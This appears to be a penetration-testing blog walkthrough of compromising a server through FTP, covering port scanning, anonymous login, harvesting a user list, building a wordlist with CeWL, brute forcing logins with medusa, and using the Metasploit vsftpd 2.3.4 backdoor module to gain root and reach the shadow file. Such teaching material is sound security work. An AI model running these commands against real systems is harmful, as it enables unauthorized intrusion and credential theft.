Hacking Into A Server Through FTP

The Forgotten Door: Why FTP Remains One of the Most Overlooked Attack Surfaces

In the rush to patch the latest zero-days and harden modern application stacks, system administrators often overlook what's quietly humming in the background — legacy protocols that have been running so long, no one remembers to turn them off. File Transfer Protocol (FTP) is one of the most persistent examples of this phenomenon. Despite decades of security advisories urging organizations to retire it, FTP continues to operate on countless servers across industries ranging from healthcare to manufacturing to government.

Why? Institutional memory loss. A protocol gets enabled during a system migration years ago, the engineer who configured it moves on, and the service becomes part of the invisible infrastructure that "just runs." Automated asset discovery tools may flag it, but in environments where the vulnerability backlog stretches into the thousands, an open FTP port can sit deprioritized for months or years. In some cases, organizations don't even know the service is exposed to the internet.

If you'd like to follow what I did via video, feel free to check it out on YouTube below:

Why Is FTP A Security Risk?

FTP, or File Transfer Protocol, is a service designed to transfer files between a client and a server. A client connects to the server, authenticates, and can then upload or download files. It supports two connection modes — active and passive — but the core function is straightforward: move data between machines.

The problem is that FTP is a plain text protocol, meaning everything transferred over it — including usernames and passwords — is unencrypted. Anyone intercepting the traffic can read it.

FTP typically runs on port 21, though it can be configured to run on non-standard ports like 2121. Always scan all ports during reconnaissance to avoid missing a hidden service.

Recon

The target was a network with a few standalone servers that we wanted to compromise along with a network attacked storage (N.A.S.). After reaching the inside of the network, I found the I.P. address of one of the servers. I ran an nmap scan to find the open ports and protocols. I used the tag -sV to enumerate the service versions of the protocols, as well as -sC to run the standard scripts for discovery of possible vulnerabilities.

After the initial scan, I decided to run it again to look for all ports using the -p- flag.

nmap -sV -sC -p- targetIP

nmap -sV -sC -p- targetIP

There you have it. I discovered that FTP is running on port 21. The results show the service is open and running vsftpd 2.3.4. Note that version number — it becomes important later. After discovering this, I attempted to login as an anonymous user.

Anonymous FTP is a feature that allows you to access an FTP server without requiring a valid, credentialed account on the system. Instead of authenticating with a username and password tied to a real user, a user connects using the generic username anonymous (or sometimes ftp), typically providing an email address — or simply nothing at all — as the password.

ftp targetIP
anonymous
<enter>

ftp targetIP
anonymous
<enter>

It was successful. I now know the port, that FTP is running, and that I can login as an anonymous user.

As an anonymous user, I don't have access to many things. The permissions are restricted and not everything is visible. This was a pretty big find, as I logged in and started looking around. Once in, I ranls to list accessible files. To my surprise, the former system administrators had left a list of usernames on the server that was accessible to an anonymous login. This meant that I now had usernames that I could attempt to login with after compiling a potential password list. This is exactly the kind of sensitive information that gets left in FTP directories.

I first downloaded the list to my local machine:

get users.list

get users.list

I then exited the FTP session and examined the file which showed the usernames. A great starting point for a brute force attack.

Gathering Info For The Attack

There are a lot of great password list generators out there. There are even lists of potential passwords one can already access, such as rockyou.txt and some of the lists within SecLists. Both of these come already installed with Kali Linux distros by the way. I submitted a list of information to a tool to help build potential passwords related to the company, and then appended that to a list of common passwords used by people.

The tool I prefer to use is CeWL , which also can be installed with certain Linux dsitros such as Kali. I gave it the URL to the company website and it spidered the website and put a list of words into a file for me. The logic is that organizations often use company-related words as passwords — product names, internal terminology, taglines.

cewl -d 4 -m 6 -w password.list -v https://<target website>

cewl -d 4 -m 6 -w password.list -v https://<target website>

A few notes on the flags:

• -d 4 sets the crawl depth to four levels
• -m 6 sets the minimum word length to six characters (adjust based on the organization's known password policy)
• -w password.list writes the output to a file

If the tool reports "off-site link, not following," make sure you're using the full URL including https://www. — CeWL won't follow redirects automatically.

Once complete, I had a custom wordlist built from the company's own website content.

The Attack

Finally, I used medusa to attempt to bruteforce the login with both the list of users and the potential passwords I got which I appended to another list of commonly used passwords:

medusa -U users.list -P password.list -h targetIP -M ftp -n 21

medusa -U users.list -P password.list -h targetIP -M ftp -n 21

I got a hit! Successfully found a password for one of the users. I logged in as that user and found a litany of good info that led to further exploitation of the other devices on the network.

This also illustrates an important point: credentials found on one system are often reused elsewhere. If username:password works on FTP, it might also work for RDP, SSH, or other services on other machines in the network.

A quick note on strategy: in real engagements, aggressive brute forcing can lock accounts and trigger alerts. Password spraying — trying one password across all usernames before moving to the next — is often a better approach, as it reduces the chance of account lockouts.

Taking Control: Gaining Root Access

The Nmap scan earlier revealed the FTP service is running vsftpd 2.3.4. A quick search for that version and the word "exploit" turns up a well-documented backdoor command execution vulnerability — and a Metasploit module for it rated "excellent."

I opened up Metasploit and searched for the module to use

I selected to use the exploit module and checked its options before configuring the required fields.

use 0
options
set RHOSTS <target IP>
set LHOST <attackbox IP>
run

use 0
options
set RHOSTS <target IP>
set LHOST <attackbox IP>
run

Metasploit spawns a backdoor and opens a Meterpreter session! I dropped into a system shell to confirm access.

shell
whoami

shell
whoami

The response: root.

The vulnerability in vsftpd 2.3.4 grants full root access to the server. From here, I navigated to /etc and found the shadow file — the Linux equivalent of the Windows SAM file, containing the hashed passwords for every user on the system.

Those hashes can be downloaded via Meterpreter, cracked offline, or used directly in a pass-the-hash attack to authenticate to other systems on the network as root or another privileged user.

Tools Used

• nmap Identify open ports and service versions
• ftp Connect to FTP service and enumerate files
• CeWL Spider a website to generate a targeted wordlist
• Medusa Brute force login credentials
• Metasploit Launch Metasploit and run exploit modules

It's important to always check for legacy protocols to be used on systems that you are testing. For quite a long time, system administrators and security have been moving away from plaintext protocols such as FTP and Telnet. However, it can still be common to find these protocols used on systems, simply because they are forgotten and used on a different port than typically used. Always do your due diligence. You never know what it might lead to.

For pentesters and security researchers, the methodology here — reconnaissance, enumeration, credential gathering, brute force, exploit verification — is the foundation of any successful assessment. The more information you collect at each stage, the more options you have at the next.

Feel free to check out my blog: coderedblog.io

Checkout my YouTube

Buy me a coffee!

Feel free to follow me on here and keep learning!